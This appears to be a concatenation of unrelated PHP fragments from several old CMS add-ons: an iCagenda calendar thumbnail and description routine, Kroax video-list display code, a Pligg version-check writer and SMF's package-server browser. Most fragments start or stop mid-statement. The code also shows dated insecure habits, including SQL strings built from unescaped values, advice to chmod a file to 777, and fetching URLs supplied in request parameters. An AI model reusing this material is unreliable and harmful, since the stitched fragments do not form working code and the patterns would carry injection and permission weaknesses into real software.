= str_replace('@uc@', '</u>', $string_ok); $string_ok = str_replace('+', ' ', $string_ok); $string_ok = str_replace('@@', '+', $string_ok); $text = $string_ok; // Close html tags if not closed if ($nb_bclose < $nb_bopen) { $text = $string_ok . '</b>'; } if ($nb_strongclose < $nb_strongopen) { $text = $string_ok . '</strong>'; } if ($nb_iclose < $nb_iopen) { $text = $string_ok . '</i>'; } if ($nb_emclose < $nb_emopen) { $text = $string_ok . '</em>'; } if ($nb_uclose < $nb_uopen) { $text = $string_ok . '</u>'; } $ic_readmore = '[...]'; $return_text = $text . ' ' . $ic_readmore; $descShort = $limit ? $return_text : ''; } else { $desc_full = $desc_nohtml; $desc_full = str_replace('@br@', '<br />', $desc_full); $desc_full = str_replace('@b@', '<b>', $desc_full); $desc_full = str_replace('@bc@', '</b>', $desc_full); $desc_full = str_replace('@strong@', '<strong>', $desc_full); $desc_full = str_replace('@strongc@', '</strong>', $desc_full); $desc_full = str_replace('@i@', '<i>', $desc_full); $desc_full = str_replace('@ic@', '</i>', $desc_full); $desc_full = str_replace('@em@', '<em>', $desc_full); $desc_full = str_replace('@emc@', '</em>', $desc_full); $desc_full = str_replace('@u@', '<u>', $desc_full); $desc_full = str_replace('@uc@', '</u>', $desc_full); $desc_full = str_replace('+', ' ', $desc_full); $desc_full = str_replace('@@', '+', $desc_full); $descShort = $limit ? $desc_full : ''; } /** END Filtering HTML function */ /** * To be moved to a special library */ // START iCthumb // Initialize Vars $Image_Link = ''; $Thumb_Link = ''; $Display_Thumb = false; $No_Thumb_Option = false; $Default_Thumb = false; $MimeTypeOK = true; $MimeTypeERROR = false; $Invalid_Link = false; $Invalid_Img_Format = false; $fopen_bmp_error_msg = false; // SETTINGS ICTHUMB $FixedImageVar = $r->image; // Set if run iCthumb if ($FixedImageVar and $thumb_generator == 1) { $params_media = JComponentHelper::getParams('com_media'); $image_path = $params_media->get('image_path', 'images'); // Set folder vars $fld_icagenda = 'icagenda'; $fld_thumbs = 'thumbs'; $fld_copy = 'copy'; // SETTINGS ICTHUMB $thumb_width = '100'; $thumb_height = '200'; $thumb_quality = '100'; $thumb_destination = 'themes/w' . $thumb_width . 'h' . $thumb_height . 'q' . $thumb_quality . '_'; // Get Image File Infos $url = $FixedImageVar; $decomposition = explode('/', $url); // in each parent $i = 0; while (isset($decomposition[$i])) { $i++; } $i--; $imgname = $decomposition[$i]; $fichier = explode('.', $decomposition[$i]); $imgtitle = $fichier[0]; $imgextension = strtolower($fichier[1]); // fixed 3.1.10 // Clean file name jimport('joomla.filter.output'); $cleanFileName = JFilterOutput::stringURLSafe($imgtitle) . '.' . $imgextension; $cleanTitle = JFilterOutput::stringURLSafe($imgtitle); // $cleanFileName2 = cleanString($imgtitle) . '.' . $imgextension; // $cleanTitle2 = cleanString($imgtitle); // Paths to thumbs and copy folders $thumbsPath = $image_path . '/' . $fld_icagenda . '/' . $fld_thumbs . '/'; $copyPath = $image_path . '/' . $fld_icagenda . '/' . $fld_thumbs . '/' . $fld_copy . '/'; // Image pre-settings $imageValue = $FixedImageVar; $Image_Link = $FixedImageVar; $Invalid_LinkMsg = '<i class="icon-warning"></i><br /><span style="color:red;"><strong>' . JText::_('COM_ICAGENDA_INVALID_PICTURE_LINK') . '</strong></span>'; $Wrong_img_format = '<i class="icon-warning"></i><br/><span style="color:red;"><strong>' . JText::_('COM_ICAGENDA_NOT_AUTHORIZED_IMAGE_TYPE') . '</strong><br/>' . JText::_('COM_ICAGENDA_NOT_AUTHORIZED_IMAGE_TYPE_INFO') . '</span>'; $fopen_bmp_error = '<i class="icon-warning"></i><br/><span style="color:red;"><strong>' . JText::_('COM_ICAGENDA_PHP_ERROR_FOPEN_COPY_BMP') . '</strong><br/>' . JText::_('COM_ICAGENDA_PHP_ERROR_FOPEN_COPY_BMP_INFO') . '</span>'; // Mime-Type pre-settings $errorMimeTypeMsg = '<i class="icon-warning"></i><br /><span style="color:red;"><strong>' . JText::_('COM_ICAGENDA_ERROR_MIME_TYPE') . '</strong><br/>' . JText::_('COM_ICAGENDA_ERROR_MIME_TYPE_NO_THUMBNAIL'); // url to thumbnails already created $Thumb_Link = $image_path . '/' . $fld_icagenda . '/' . $fld_thumbs . '/' . $thumb_destination . $cleanFileName; $Thumb_aftercopy_Link = $image_path . '/' . $fld_icagenda . '/' . $fld_thumbs . '/' . $thumb_destination . $cleanTitle . '.jpg'; // Check if thumbnails already created if (file_exists(JPATH_ROOT . '/' . $Thumb_Link) and !file_exists(JPATH_ROOT . '/' . $Thumb_aftercopy_Link)) { $Thumb_Link = $Thumb_Link; $Display_Thumb = true; } elseif (file_exists(JPATH_ROOT . '/' . $Thumb_aftercopy_Link)) { $Thumb_Link = $Thumb_aftercopy_Link; $Display_Thumb = true; } else { if (filter_var($imageValue, FILTER_VALIDATE_URL)) { $linkToImage = $imageValue; } else { $linkToImage = JPATH_ROOT . '/' . $imageValue; } if (file_exists($linkToImage)) { // Test Mime-Type $fileinfos = getimagesize($linkToImage); $mimeType = $fileinfos['mime']; $extensionType = 'image/' . $imgextension; // Message Error Mime-Type info $errorMimeTypeInfo = '<span style="color:black;"><br/>' . JText::sprintf('COM_ICAGENDA_ERROR_MIME_TYPE_INFO', $imgextension, $mimeType); // Error message if Mime-Type is not the same as extension if ($imgextension == 'jpeg' or $imgextension == 'jpg') { if ($mimeType != 'image/jpeg' and $mimeType != 'image/jpg') { $MimeTypeOK = false; $MimeTypeERROR = true; } } elseif ($imgextension == 'bmp') { if ($mimeType != 'image/bmp' and $mimeType != 'image/x-ms-bmp') { $MimeTypeOK = false; $MimeTypeERROR = true; } } else { if ($mimeType != $extensionType) { $MimeTypeOK = false; $MimeTypeERROR = true; } } } // If Error mime-type, no thumbnail creation if ($MimeTypeOK) { // Call function and create image thumbnail for events list in admin // If Image JPG, JPEG, PNG or GIF if ($imgextension == "jpg" or $imgextension == "jpeg" or $imgextension == "png" or $imgextension == "gif") { $Thumb_Link = $Thumb_Link; if (!file_exists(JPATH_ROOT . '/' . $Thumb_Link)) { if (filter_var($imageValue, FILTER_VALIDATE_URL)) { if (url_exists($imageValue) and $fopen) { $testFile = JPATH_ROOT . '/' . $copyPath . $cleanFileName; if (!file_exists($testFile)) { //Get the file $content = file_get_contents($imageValue); //Store in the filesystem. $fp = fopen(JPATH_ROOT . '/' . $copyPath . $cleanFileName, "w"); fwrite($fp, $content); fclose($fp); } $linkToImage = JPATH_ROOT . '/' . $copyPath . $cleanFileName; $imageValue = $copyPath . $cleanFileName; } else { $linkToImage = $imageValue; } } else { $linkToImage = JPATH_ROOT . '/' . $imageValue; } if (url_exists($linkToImage) or file_exists($linkToImage)) { createthumb($linkToImage, JPATH_ROOT . '/' . $Thumb_Link, $thumb_width, $thumb_height, $thumb_quality); } else { $Invalid_Link = true; } } } elseif ($imgextension == "bmp") { $Image_Link = $copyPath . $cleanTitle . '.jpg'; $Thumb_Link = $Thumb_aftercopy_Link; if (!file_exists(JPATH_ROOT . '/' . $Thumb_Link)) { if (filter_var($imageValue, FILTER_VALIDATE_URL)) { if (url_exists($imageValue) and $fopen) { $testFile = JPATH_ROOT . '/' . $copyPath . $cleanTitle . '.jpg'; if (!file_exists($testFile)) { //Get the file $content = file_get_contents($imageValue); //Store in the filesystem. $fp = fopen(JPATH_ROOT . '/' . $copyPath . $cleanFileName, "w"); fwrite($fp, $content); fclose($fp); $imageNewValue = JPATH_ROOT . '/' . $copyPath . $cleanFileName; imagejpeg(icImageCreateFromBMP($imageNewValue), JPATH_ROOT . '/' . $copyPath . $cleanTitle . '.jpg', 100); unlink($imageNewValue); } } else { $linkToImage = $imageValue; } } else { imagejpeg(icImageCreateFromBMP(JPATH_ROOT . '/' . $imageValue), JPATH_ROOT . '/' . $copyPath . $cleanTitle . '.jpg', 100); } $imageValue = $copyPath . $cleanTitle . '.jpg'; $linkToImage = JPATH_ROOT . '/' . $imageValue; if (!$fopen) { $fopen_bmp_error_msg = true; } elseif (url_exists($linkToImage) or file_exists($linkToImage)) { createthumb($linkToImage, JPATH_ROOT . '/' . $Thumb_Link, $thumb_width, $thumb_height, $thumb_quality); } else { $Invalid_Link = true; } } } else { if (url_exists($linkToImage) or file_exists($linkToImage)) { $Invalid_Img_Format = true; } else { $Invalid_Link = true; } } if (!$Invalid_Link) { $Display_Thumb = true; } } else { if ($imgextension == "jpg" or $imgextension == "jpeg" or $imgextension == "png" or $imgextension == "gif" or $imgextension == "bmp") { $MimeTypeERROR = true; } else { $Invalid_Img_Format = true; $MimeTypeERROR = false; } } } } elseif ($FixedImageVar and $thumb_generator == 0) { $No_Thumb_Option = true; } else { $Default_Thumb = true; } // END iCthumb // Set Thumbnail $default_thumbnail = 'media/com_icagenda/images/nophoto.jpg'; if ($Invalid_Img_Format) { $thumb_img = $default_thumbnail; } if ($Invalid_Link) { $thumb_img = $default_thumbnail; } if ($MimeTypeERROR) { $thumb_img = $default_thumbnail; } if ($fopen_bmp_error_msg) { $thumb_img = $default_thumbnail; } if ($Display_Thumb) { $thumb_img = $Thumb_Link; } if ($No_Thumb_Option) { $thumb_img = $FixedImageVar; } if ($Default_Thumb) { if ($r->image) { $thumb_img = $default_thumbnail; } else { $thumb_img = ''; } } if (!file_exists(JPATH_ROOT . '/' . $Thumb_Link) and $r->image) { $thumb_img = $default_thumbnail; } $evtParams = ''; $evtParams = new JRegistry($r->params); // Display Time $dp_time = $params->get('dp_time', 1); if ($dp_time == 1) { $r_time = true; } else { $r_time = false; } // Display City $dp_city = $params->get('dp_city', 1); if ($dp_city == 1) { $r_city = $r->city; } else { $r_city = false; } // Display Country $dp_country = $params->get('dp_country', 1); if ($dp_country == 1) { $r_country = $r->country; } else { $r_country = false; } // Display Venue Name $dp_venuename = $params->get('dp_venuename', 1); if ($dp_venuename == 1) { $r_place = $r->place_name; } else { $r_place = false; } // Display Short Description $dp_shortDesc = $params->get('dp_shortDesc', ''); if (!$dp_shortDesc) { $descShort = false; } elseif ($dp_shortDesc == 2) { $descShort = $r->metadesc; } // Display Registration Infos $dp_regInfos = $params->get('dp_regInfos', 1); if ($dp_regInfos == 1) { $registered = $this->registered($r->id); $maxTickets = $evtParams->get('maxReg'); $TicketsLeft = $maxTickets - $registered; } else { $registered = false; $maxTickets = false; $TicketsLeft = false; } $event = array('id' => (int) $r->id, 'registered' => (int) $registered, 'maxTickets' => (int) $maxTickets, 'TicketsLeft' => (int) $TicketsLeft, 'Itemid' => (int) $mItemid, 'url' => $urlevent, 'title' => $r->title, 'next' => $this->formatDate($r->next), 'image' => $thumb_img, 'address' => $r->address, 'city' => $r_city, 'country' => $r_country, 'place' => $r_place, 'description' => $r->desc, 'descShort' => $descShort, 'cat_title' => $r->cat_title, 'cat_order' => $r->cat_order, 'cat_color' => $r->cat_color, 'nb_events' => count($r->id), 'no_image' => JTEXT::_('MOD_ICCALENDAR_NO_IMAGE'), 'params' => $r->params); // Initialize $access = '0'; $control = ''; // Access Control $user = JFactory::getUser(); $userLevels = $user->getAuthorisedViewLevels(); $access = $r->access; if ($access == '0') { $access = '1'; } if (in_array($access, $userLevels) or in_array('8', $userGroups)) { $control = $access; } // Language Control $lang = JFactory::getLanguage(); $eventLang = ''; $langTag = ''; $langTag = $lang->getTag(); if (isset($r->language)) { $eventLang = $r->language; } if ($eventLang == '') { $eventLang = $langTag; } if ($eventLang == '*') { $eventLang = $langTag; } $events_per_day = array(); $displaytime = ''; if (isset($r->displaytime)) { $displaytime = $r->displaytime; } // Get List of Dates if ($control == $access) { if ($eventLang == $langTag) { if (is_numeric($lien) && is_numeric($eventnumber) && !is_array($lien) && !is_array($eventnumber)) { if (is_array($event)) { foreach ($AllDates as $d) { if ($r_time) { $time = array('time' => date($lang_time, $this->mkttime($d)), 'displaytime' => $displaytime); } else { $time = array('time' => '', 'displaytime' => ''); } $event = array_merge($event, $time); foreach ($days as $k => $dy) { if (date('Y-m-d', strtotime($d)) == date('Y-m-d', strtotime($dy['date']))) { array_push($days[$k]['events'], $event); } } } } } } } } $i = ''; $lang = JFactory::getLanguage(); $langcur = $lang->getTag(); $langcurrent = $langcur; $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id AS idm')->from('#__menu')->where("(link = 'index.php?option=com_icagenda&view=list') AND (published > 0) AND (language = '{$langcurrent}')"); $db->setQuery($query); $idm = $db->loadResult(); $mItemid = $idm; if ($mItemid == NULL) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id AS noidm')->from('#__menu')->where("(link = 'index.php?option=com_icagenda&view=list') AND (published > 0) AND (language = '*')"); $db->setQuery($query); $noidm = $db->loadResult(); $noidm = $noidm; } $nolink = ''; if ($noidm == NULL && $mItemid == NULL) { $nolink = 1; } if ($nolink == 1) { do { echo '<div style="color:#a40505; text-align: center;"><b>info :</b></div><div style="color:#a40505; font-size: 0.8em; text-align: center;">' . JText::_('MOD_ICCALENDAR_COM_ICAGENDA_MENULINK_UNPUBLISHED_MESSAGE') . '</div>'; } while ($i > 0); } $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('id AS nbevt')->from('`#__icagenda_events` AS e')->where('e.state > 0'); $db->setQuery($query); $nbevt = $db->loadResult(); $nbevt = count($nbevt); if ($nbevt == NULL) { // do { echo '<div style="font-size: 0.8em; text-align: center;">' . JText::_('MOD_ICCALENDAR_NO_EVENT') . '</div>'; // } while ($i = 0); } return $days; }
} if ($kroaxsettings['kroax_set_show'] == "1") { $videolink = '<a href="' . INFUSIONS . 'the_kroax/embed.php?url=' . $data['kroax_id'] . '" title=\'header=[ ' . trimlink($data['kroax_titel'], 30) . '] body=[ <br><center>' . $showimg . '<br> </center>] delay=[0] fade=[on]\'>'; } else { $videolink = '<a href="#" onclick=window.open("' . INFUSIONS . 'the_kroax/embed.php?p=1&url=' . $data['kroax_id'] . '","Click","scrollbars=yes,resizable=yes,width=800,height=700") title=\'header=[ ' . trimlink($data['kroax_titel'], 30) . '] body=[ <br><center>' . $showimg . '<br> </center>] delay=[0] fade=[on]\'>'; } echo "<td>"; echo "" . $videolink . ""; echo '' . $showimg . '</a></td>'; } echo "</tr></table>"; echo "<div class='forum-caption' align='left'>" . $locale['KROAXC003'] . "</div>"; $result4 = dbquery("SELECT * FROM " . $db_prefix . "kroax WHERE " . groupaccess('kroax_access') . " AND " . groupaccess('kroax_access_cat') . " AND kroax_approval='' ORDER BY RAND() LIMIT {$antal}"); echo "<table align='center' style='margin: 0 auto;'><tr>"; while ($data = dbarray($result4)) { $checkurl = url_exists($data['kroax_tumb']); $type = substr($data['kroax_url'], -3, 3); if ($type == "mp3") { $showimg = '<img src="' . INFUSIONS . 'the_kroax/img/musicstream.jpg" width="' . $movieW . '" height="' . $movieH . '">'; } elseif ($checkurl == "1") { $showimg = '<IMG SRC="' . $data['kroax_tumb'] . '" width="' . $movieW . '" height="' . $movieH . '">'; } else { $showimg = '<img src="' . INFUSIONS . 'the_kroax/img/nopic.gif" width="' . $movieW . '" height="' . $movieH . '">'; } if ($kroaxsettings['kroax_set_show'] == "1") { $videolink = '<a href="' . INFUSIONS . 'the_kroax/embed.php?url=' . $data['kroax_id'] . '" title=\'header=[ ' . trimlink($data['kroax_titel'], 30) . '] body=[ <br><center>' . $showimg . '<br> </center>] delay=[0] fade=[on]\'>'; } else { $videolink = '<a href="#" onclick=window.open("' . INFUSIONS . 'the_kroax/embed.php?p=1&url=' . $data['kroax_id'] . '","Click","scrollbars=yes,resizable=yes,width=800,height=700") title=\'header=[ ' . trimlink($data['kroax_titel'], 30) . '] body=[ <br><center>' . $showimg . '<br> </center>] delay=[0] fade=[on]\'>'; } echo "<td>"; echo "" . $videolink . "";
echo '<div style="position:absolute;left:300px;top:10px;display:block;background:#fff;padding:2px 5px 2px 5px;border:2px dashed #FFAC58;">Cannot write to the file $filename for the Version Check Module</div>'; exit; } // echo "Success, wrote $yourversion to file $filename for the Version Check Module"; fclose($handle); } else { echo '<div style="position:absolute;left:300px;top:10px;display:block;background:#fff;padding:2px 5px 2px 5px;border:2px dashed #FFAC58;">The file $filename is not writable! Please create current.txt or chmod it to 777 in /modules/version_check/</div>'; } $pliggfilename = '../modules/version_check/latest.txt'; $pliggversion = "http://www.pligg.com/pliggversion.php"; function url_exists($pliggversion) { $hdrs = @get_headers($pliggversion); return is_array($hdrs) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/', $hdrs[0]) : false; } if (url_exists($pliggversion)) { $fh = fopen($pliggversion, 'r'); $pliggversionoutput = fread($fh, 10); fclose($fh); $latestversion = $pliggversionoutput; // Let's make sure the file exists and is writable first. if (is_writable($pliggfilename)) { if (!($handle = fopen($pliggfilename, 'w'))) { echo '<div style="position:absolute;left:300px;top:10px;display:block;background:#fff;padding:2px 5px 2px 5px;border:2px dashed #FFAC58;">Cannot open file $pliggfilename to write the Pligg version for Version Check Module!</div>'; exit; } // Write $latestversion to our opened file. // If there's an error if (fwrite($handle, $latestversion) === FALSE) { echo '<div style="position:absolute;left:300px;top:10px;display:block;background:#fff;padding:2px 5px 2px 5px;border:2px dashed #FFAC58;">Cannot write to the file $pliggfilename for the Version Check Module</div>'; exit;
function makelist() { global $data, $userdata, $cdata, $kroaxsettings, $db_prefix, $locale, $browser, $pres; if (isset($_COOKIE['kroaxthumbs'])) { //thumb view enabled $cdata = dbarray(dbquery("SELECT * FROM " . $db_prefix . "kroax_kategori WHERE cid='" . $data['kroax_cat'] . "'")); $udata = dbarray(dbquery("SELECT user_id,user_name FROM " . $db_prefix . "users WHERE user_name='" . $data['kroax_uploader'] . "' ")); echo "<td align='left'>"; $checkurl = url_exists($data['kroax_tumb']); $type = substr($data['kroax_url'], -3, 3); if ($type == "mp3") { $showimg = "<img src='" . INFUSIONS . "the_kroax/img/musicstream.jpg' width='" . $kroaxsettings['kroax_set_wi'] . "' height='" . $kroaxsettings['kroax_set_hi'] . "'>"; } elseif ($checkurl == "1") { $showimg = "<IMG SRC='" . $data['kroax_tumb'] . "' width='" . $kroaxsettings['kroax_set_wi'] . "' height='" . $kroaxsettings['kroax_set_hi'] . "'>"; } else { $showimg = "<img src='" . INFUSIONS . "the_kroax/img/nopic.gif' width='" . $kroaxsettings['kroax_set_wi'] . "' height='" . $kroaxsettings['kroax_set_hi'] . "'>"; } if ($kroaxsettings['kroax_set_show'] == "1") { echo "\n<a href='" . INFUSIONS . "the_kroax/embed.php?url=" . $data['kroax_id'] . "'>" . $showimg . "</a>"; } else { echo "\n<a href='#' onclick=window.open('" . INFUSIONS . "the_kroax/embed.php?p=1&url=" . $data['kroax_id'] . "','Click','scrollbars=yes,resizable=yes,width=650,height=550')>" . $showimg . "</a>"; } echo "<br>\n<a href='#' onclick=window.open('" . INFUSIONS . "the_kroax/embed.php?p=1&url=" . $data['kroax_id'] . "','Click','scrollbars=yes,resizable=yes,width=800,height=700')><img src='" . INFUSIONS . "the_kroax/img/newwindow.gif' title='" . $locale['MKROAX106'] . "' border='0' valign='bottom'></a>"; if ($kroaxsettings['kroax_set_show'] == "1") { echo "\n<a href='" . INFUSIONS . "the_kroax/embed.php?url=" . $data['kroax_id'] . "'>" . trimlink($data['kroax_titel'], 20) . "</a><br>"; } else { echo "\n<a href='#' onclick=window.open('" . INFUSIONS . "the_kroax/embed.php?p=1&url=" . $data['kroax_id'] . "','Click','scrollbars=yes,resizable=yes,width=650,height=550')>" . trimlink($data['kroax_titel'], 20) . "</a><br>"; } echo "\n<b>" . $locale['KROAX114'] . "</b> <a href='" . BASEDIR . "profile.php?lookup=" . $udata['user_id'] . "'>" . $data['kroax_uploader'] . "</a><br>\n<b>" . $locale['KROAX115'] . "</b> " . showdate('forumdate', $data['kroax_date']) . "<br>\n<b>" . $locale['KROAX307'] . "</b> <a href='kroax.php?category=" . $cdata['cid'] . "'>" . $cdata['title'] . "</a><br>\n<b>" . $locale['KROAX113'] . "</b> " . $data['kroax_hits'] . " </td>"; } else { $cdata = dbarray(dbquery("SELECT * FROM " . $db_prefix . "kroax_kategori WHERE cid='" . $data['kroax_cat'] . "' ")); $udata = dbarray(dbquery("SELECT user_id,user_name FROM " . $db_prefix . "users WHERE user_name='" . $data['kroax_uploader'] . "' ")); $pres = nl2br($data['kroax_description']); $pres = preg_replace("/^(.{255}).*\$/", "\$1", $pres); $pres = preg_replace("/([^\\s]{25})/", "\$1\n", $pres); echo " <table cellpadding='0' cellspacing='1' border='0' width='200px' align='right' class='tbl-border' style='margin: 0.5em;'>\n<tr>\n<td width='26%' class='tbl2'>" . $locale['KROAX307'] . "</td>\n<td width='26%' class='tbl2'>" . $cdata['title'] . "</td></tr>\n<tr>\n<td width='26%' class='tbl2'>" . $locale['KROAX113'] . "</td>\n<td width='26%' class='tbl2'>" . $data['kroax_hits'] . "</td>\n</tr>\n<tr>\n<td width='26%' class='tbl2'>" . $locale['KROAX114'] . "</td>\n<td width='26%' class='tbl2'><a href='" . BASEDIR . "profile.php?lookup=" . $udata['user_id'] . "'>" . $data['kroax_uploader'] . "</a></td>\n</tr>\n<tr>\n<td width='26%' class='tbl2'>" . $locale['KROAX115'] . "</td>\n<td width='26%' class='tbl2'>" . showdate('forumdate', $data['kroax_date']) . "</td>\n</tr>\n<tr>\n<td width='26%' class='tbl2'>" . $locale['MKROAX101'] . "</td>\n<td width='26%' class='tbl2'>" . showdate('forumdate', $data['kroax_lastplayed']) . "</td>\n</tr>\n</table>"; echo "<table width='69%' align='middle' cellspacing='0' style='height: 125px' cellpadding='0' border='0'>"; $checkurl = url_exists($data['kroax_tumb']); $type = substr($data['kroax_url'], -3, 3); if ($type == "mp3") { $showimg = "<img src='" . INFUSIONS . "the_kroax/img/musicstream.jpg' valign='top' align='left' width='" . $kroaxsettings['kroax_set_wi'] . "' height='" . $kroaxsettings['kroax_set_hi'] . "'>"; } elseif ($checkurl == "1") { $showimg = "<IMG SRC='" . $data['kroax_tumb'] . "' valign='top' align='left' width='" . $kroaxsettings['kroax_set_wi'] . "' height='" . $kroaxsettings['kroax_set_hi'] . "'>"; } else { $showimg = "<img src='" . INFUSIONS . "the_kroax/img/nopic.gif' valign='top' align='left' width='" . $kroaxsettings['kroax_set_wi'] . "' height='" . $kroaxsettings['kroax_set_hi'] . "'>"; } if ($kroaxsettings['kroax_set_show'] == "1") { echo "\n<td align='left' width='8%'><a href='" . INFUSIONS . "the_kroax/embed.php?url=" . $data['kroax_id'] . "'>" . $showimg . "</A>\n<td valign='top' width='74%'><center><a href='" . INFUSIONS . "the_kroax/embed.php?url=" . $data['kroax_id'] . "'><b><u>" . $data['kroax_titel'] . "</b></u></a><br><br>" . stripslashes($pres) . "</td></td></center>"; } else { echo "\n<td align='left' width='8%'><a href='#' onclick=window.open('" . INFUSIONS . "the_kroax/embed.php?p=1&url=" . $data['kroax_id'] . "','Click','scrollbars=yes,resizable=yes,width=650,height=550')>" . $showimg . "</A>\n<td valign='top' width='74%'><center><a href='#' onclick=window.open('" . INFUSIONS . "the_kroax/embed.php?p=1&url=" . $data['kroax_id'] . "','Click','scrollbars=yes,resizable=yes,width=650,height=550')><b><u>" . $data['kroax_titel'] . "</b></u></a><br><br>" . stripslashes($pres) . "</td></td></center>"; } echo "</table><br><br>"; $kroax_comment_count = dbcount("(comment_id)", "" . $db_prefix . "comments", "comment_type='K' AND comment_item_id='" . $data['kroax_id'] . "'"); echo "<table width='95%' align='middle' cellspacing='0' cellpadding='0'border='0'>\n<td width='20%' class='tbl1' align='middle'>"; if ($kroaxsettings['kroax_set_ratings'] == "1") { rating_bar($data['kroax_id']); } echo "<td width='80%' class='tbl1'>"; if ($kroaxsettings['kroax_set_favorites'] == "1" && iMEMBER) { $row2 = dbquery("SELECT * FROM " . $db_prefix . "kroax_favourites WHERE fav_id=" . $data['kroax_id'] . " AND fav_user='******'user_id'] . "'"); $fav_id2 = dbarray($row2); $fav_id2 = $fav_id2['fav_id']; if ($data['kroax_id'] != $fav_id2) { echo "<a href='" . INFUSIONS . "the_kroax/add_favourite.php?fav_id=" . $data['kroax_id'] . "&fav_user="******"'><b>" . $locale['FKROAX107'] . "</b></a> ]<br>[ "; } } if ($kroaxsettings['kroax_set_comments'] == "1") { echo "<a href='#' onclick=window.open('" . INFUSIONS . "the_kroax/callcomments.php?comment_id=" . $data['kroax_id'] . "','Comments','scrollbars=yes,resizable=yes,width=650,height=650')><b>" . $locale['KROAX302'] . "</b></a>({$kroax_comment_count}) ][ "; } if ($kroaxsettings['kroax_set_recommend'] == "1") { echo "<a href='#' onclick=window.open('" . INFUSIONS . "the_kroax/tipafriend.php?movie_id=" . $data['kroax_id'] . "','Tipafriend','scrollbars=yes,resizable=yes,width=350,height=300')><b>" . $locale['KROAX303'] . "</b></a> ][ "; } if ($kroaxsettings['kroax_set_report'] == "1") { if (iMEMBER) { echo "<a href='" . INFUSIONS . "the_kroax/report.php?broken_id=" . $data['kroax_id'] . "' target='_blank' onClick='return confirmreport();''><b>" . $locale['KROAX304'] . "</b></a> ][ "; } } echo "<a href=\"javascript:history.go(-1)\"><b>" . $locale['KROAX007'] . "</b></a>"; echo '</td>'; echo "</td><tr>"; echo "<td colspan='2' height='1px' valign='top' background='img/line.gif'></tr></td></td></tr></table>"; } //End else from thumb view.. }
function PackageGBrowse() { global $txt, $boardurl, $context, $scripturl, $boarddir, $sourcedir, $forum_version, $context, $db_prefix; if (isset($_GET['server'])) { if ($_GET['server'] == '') { redirectexit('action=packageget'); } $server = (int) $_GET['server']; // Query the server list to find the current server. $request = db_query("\n\t\t\tSELECT name, url\n\t\t\tFROM {$db_prefix}package_servers\n\t\t\tWHERE ID_SERVER = {$server}\n\t\t\tLIMIT 1", __FILE__, __LINE__); list($name, $url) = mysql_fetch_row($request); mysql_free_result($request); // If the server does not exist, dump out. if (empty($url)) { fatal_lang_error('smf191', false); } // If there is a relative link, append to the stored server url. if (isset($_GET['relative'])) { $url = $url . (substr($url, -1) == '/' ? '' : '/') . $_GET['relative']; } // Clear any "absolute" URL. Since "server" is present, "absolute" is garbage. unset($_GET['absolute']); } elseif (isset($_GET['absolute']) && $_GET['absolute'] != '') { // Initialize the requried variables. $server = ''; $url = $_GET['absolute']; $name = ''; $_GET['package'] = $url . '/packages.xml?language=' . $context['user']['language']; // Clear any "relative" URL. Since "server" is not present, "relative" is garbage. unset($_GET['relative']); $token = checkConfirm('get_absolute_url'); if ($token !== true) { $context['sub_template'] = 'package_confirm'; $context['page_title'] = $txt['smf183']; $context['confirm_message'] = sprintf($txt['package_confirm_view_package_content'], htmlspecialchars($_GET['absolute'])); $context['proceed_href'] = $scripturl . '?action=packageget;sa=browse;absolute=' . urlencode($_GET['absolute']) . ';confirm=' . $token; return; } } else { fatal_lang_error('smf191', false); } // In safe mode or on lycos? Try this URL. (includes package-list for informational purposes ;).) //if (@ini_get('safe_mode')) // redirectexit($url . '/index.php?package-list&language=' . $context['user']['language'] . '&ref=' . $boardurl); // Attempt to connect. If unsuccessful... try the URL. if (!isset($_GET['package']) || file_exists($_GET['package'])) { $_GET['package'] = $url . '/packages.xml?language=' . $context['user']['language']; } // Check to be sure the packages.xml file actually exists where it is should be... or dump out. if ((isset($_GET['absolute']) || isset($_GET['relative'])) && !url_exists($_GET['package'])) { fatal_lang_error('packageget_unable', false, array($url . '/index.php')); } // Read packages.xml and parse into xmlArray. (the true tells it to trim things ;).) $listing = new xmlArray(fetch_web_data($_GET['package']), true); // Errm.... empty file? Try the URL.... if (!$listing->exists('package-list')) { fatal_lang_error('packageget_unable', false, array($url . '/index.php')); } // List out the packages... $context['package_list'] = array(); $listing = $listing->path('package-list[0]'); // Use the package list's name if it exists. if ($listing->exists('list-title')) { $name = $listing->fetch('list-title'); } // Pick the correct template. $context['sub_template'] = 'package_list'; $context['page_title'] = $txt['smf183'] . ($name != '' ? ' - ' . $name : ''); $context['package_server'] = $server; $instmods = loadInstalledPackages(); // Look through the list of installed mods... foreach ($instmods as $installed_mod) { $installed_mods[$installed_mod['id']] = $installed_mod['version']; } // Get default author and email if they exist. if ($listing->exists('default-author')) { $default_author = htmlspecialchars($listing->fetch('default-author')); if ($listing->exists('default-author/@email')) { $default_email = $listing->fetch('default-author/@email'); } } // Get default web site if it exists. if ($listing->exists('default-website')) { $default_website = $listing->fetch('default-website'); if ($listing->exists('default-website/@title')) { $default_title = htmlspecialchars($listing->fetch('default-website/@title')); } } $the_version = strtr($forum_version, array('SMF ' => '')); if (!empty($_SESSION['version_emulate'])) { $the_version = $_SESSION['version_emulate']; } $packageNum = 0; $sections = $listing->set('section'); foreach ($sections as $i => $section) { $packages = $section->set('title|heading|text|remote|rule|modification|language|avatar-pack|theme|smiley-set'); foreach ($packages as $thisPackage) { $package =& $context['package_list'][]; $package['type'] = $thisPackage->name(); // It's a Title, Heading, Rule or Text. if (in_array($package['type'], array('title', 'heading', 'text', 'rule'))) { $package['name'] = htmlspecialchars($thisPackage->fetch('.')); } elseif ($package['type'] == 'remote') { $remote_type = $thisPackage->exists('@type') ? $thisPackage->fetch('@type') : 'relative'; if ($remote_type == 'relative' && substr($thisPackage->fetch('@href'), 0, 7) != 'http://') { if (isset($_GET['absolute'])) { $current_url = $_GET['absolute'] . '/'; } elseif (isset($_GET['relative'])) { $current_url = $_GET['relative'] . '/'; } else { $current_url = ''; } $current_url .= $thisPackage->fetch('@href'); if (isset($_GET['absolute'])) { $package['href'] = $scripturl . '?action=packageget;sa=browse;absolute=' . $current_url; } else { $package['href'] = $scripturl . '?action=packageget;sa=browse;server=' . $context['package_server'] . ';relative=' . $current_url; } } else { $current_url = $thisPackage->fetch('@href'); $package['href'] = $scripturl . '?action=packageget;sa=browse;absolute=' . $current_url; } $package['name'] = htmlspecialchars($thisPackage->fetch('.')); $package['link'] = '<a href="' . $package['href'] . '">' . $package['name'] . 